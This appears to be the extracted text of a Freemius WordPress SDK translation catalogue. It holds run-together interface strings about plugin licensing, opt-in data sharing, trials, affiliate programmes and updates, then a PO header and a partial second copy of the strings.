license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new owner of the account.%s minimum payout amount.%s opt-in was successfully completed.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.ActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?Are you sure you would like to proceed with the disconnection?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundleBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCommunicationCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeCurrent %s & SDK versions, and if active or uninstalledDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Disabling white-label modeDisconnecting the website will permanently remove %s from your User Dashboard's account.Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used during the purchase and we will resend you the license key.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtensionsExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.For delivery of security & feature updates, and license management, %s needs toFreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Great, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!Homepage URL & title, WP & PHP versions, and site languageHow do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't know what is cURL or how to install it, help me!I don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.If you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs active, deactivated, or uninstalledIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.Keep SharingKeep automatic updatesKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNames, slugs, versions, and if active or notNetwork BlogNetwork UserNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - just deactivateNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires PHP VersionRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStay ConnectedStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank for giving us the chance to fix it! A message was just sent to our technical staff. We will get back to you as soon as we have an update to %s. Appreciate your patience.Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you for updating to %1$s v%2$s!Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.This plugin requires a newer version of PHP.This will allow %s toTimestampTitleTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListView detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.We made a few tweaks to the %s, %sWe'll make sure to contact your hosting company and resolve the issue. You will get a follow-up email to %s once we have an update.We're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress & PHP versions, site language & titleWordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - do your thingYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your WordPress user's: first & last name, and email addressYour account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactivate a license hereactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismisscomplete the opt-indatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,hourhoursinstalled add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionproductsrevert it nowsecondssecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: freemius Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: Last-Translator: Vova Feldman Language-Team: Freemius Team Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$sThe %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.Complete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new owner of the account.%s minimum payout amount.%s opt-in was successfully completed.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.API←➤AccountAccount DetailsAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.ActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?Are you sure you would like to proceed with the disconnection?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundleBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dProductsCodeCommunicationCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeCurrent %s & SDK versions, and if active or uninstalledDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Disabling white-label modeDisconnecting the website will permanently remove %s from your User Dashboard's account.Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used during the purchase and we will resend you the license key.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtensionsExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.For delivery of security & feature updates, and license management, %s needs toFreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Great, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!Homepage URL & title, WP & PHP versions, and site languageHow do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't know what is cURL or how to install it, help me!I don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.If you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs active, deactivated, or uninstalledIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.Keep SharingKeep automatic updatesKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNames, slugs, versions, and if active or notNetwork BlogNetwork UserNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - just deactivateNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallChangelogDescriptionFAQFeatures & PricingInstallationOther NotesReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires PHP VersionRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStay ConnectedStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank for giving us the chance to fix it! A message was just sent to our technical staff. We will get back to you as soon as we have an update to %s. Appreciate your patience.Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you for updating to %1$s v%2$s!Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %1$s will 